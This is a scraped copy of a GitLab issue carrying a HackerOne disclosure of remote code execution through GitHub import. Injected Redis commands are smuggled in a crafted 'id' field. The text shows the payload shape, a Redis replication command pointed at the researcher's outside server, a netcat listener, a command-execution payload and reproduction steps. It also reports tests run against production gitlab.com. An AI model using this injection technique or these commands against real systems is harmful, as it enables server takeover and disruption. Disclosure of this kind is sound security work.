RCE via github import
source link: https://gitlab.com/gitlab-org/gitlab/-/issues/371098
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
RCE via github import
RCE via github import
HackerOne report #1672388 by yvvdwf
on 2022-08-17, assigned to @nmalcolm:
Report | Attachments | How To Reproduce
Report
Hello,
While continuing mining on github import, I found a vulnerability on gitlab.com allowing to execute remotely arbitrary commands.
Gitlab uses Octokit to get data from github.com. Octokit uses Sawyer::Resource to represent results.
Sawyer is a crazy class that converts a hash to an object whose methods are based on the hash's key:
Gitlab uses directly the responded Sawyer object in few functions, such as, the id
variable in this function:
Normally, id
should be a number. However when id
is {"to_s": {"bytesize": 2, "to_s": "1234REDIS_COMMANDS" }}
, we can inject additional redis commands by using bytesize
to limit the previous command when it is constructed (although the bytesize
is 2
we need to reserve 4 bytes as 2 additional bytes for CLRF):
As we can execute any redis commands, we can escalate to execute any Bash command by using an existing gadget, for example:
I tested this redis command first on my own gitlab instance and it worked.
I then tested on gitlab.com but got nothing. I tried another by replacing basically nc
by curl
but no luck:
Although the gadget above works well on my local instance but gitlab SaaS which may be protected somehow or used another redis namespace for Sidekiq, even another redis instance. So I used then the basic redis command REPLICAOF 51.75.74.52 11211\n\n
to test gitlab.com and I got a ping from your redis server to my server nc -vlkp 11211
:
This means that I have the full control on the redis. After seeing the pings, I immediately turned off the replication by executing the redis command REPLICAOF no one\n\n
. No information from your redis server has been replicated to mine as I used nc
and I got only the ping
messages.
By checking on my local instance at /var/opt/gitlab/redis/redis.conf
, I see that only keys
command is disable. I did not try FLUSHALL
to write data to file as it is too dangerous.
As gitlab uses redis as a cache storage, so I tried to reach RCE via Marshal.dump
method. I tested the following payload on gitlab.com to poison the avatar of my project via the key cache:gitlab:avatar:yvvdwf/xss:16210710
:
Although I did not get RCE but it seems working as I got 500
error code when trying to access to my project. And now I cannot access to my project via web interface. I think I should stop testing to avoid any further potential incidences. I did all the tests above on gitlab.com on 16-17 August 2022 from IP 51.75.74.52
Steps to reproduce
The steps to reproduce should be the same as this one
The following steps are to reproduce on a local gitlab instance whose domain is http://gitlab.example.com
:
Step to reproduce
To reproduce, we need the following prerequisite:
- A VM/machine to host the dummy server with an public IP though that gitlab.example.com can access to (or you can configure your gitlab instance to allow to access to local networks)
- I created the dummy server using nodejs, so you need to have also nodejs on the machine
- A Gitlab personal access token. Go to http://gitlab.example.com/-/profile/personal_access_tokens?scopes=api to create a new token with within
api
scope.
Step 1: run the dummy server
- Copy the attachment file on your machine and decompress it to any folder, e.g.,
/tmp/dummy-server
-
Modify the attack payload as you need inside
redis_command.txt
file, the default value is to execute the command(hostname; ps aux) > /tmp/ahihi
:
- Go to
/tmp/dummy-server
then run this command:node ./index.js YOUR_IP YOUR_PORT
in which, you should replaceIP
andPORT
with the one you have. For example,sudo node index.js 51.75.74.52 80
Step 2: trigger Gitlab import
-
Open a new terminal, then run the following command, in which:
-
YOUR_IP
andYOUR_PORT
are the values in the previous step -
YOUR_GITLAB_TOKEN
is the api token you've created in the pre-requirement -
YOUR_GITLAB_USERNAME
is the target namespace you want to import the project to. It can be your username, or a group name
-
For example:
- View the result in
/etc/ahihi
Impact
Any one the the ability to call api/v4/import/github
endpoint could achieve RCE via a specially crafted responses
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK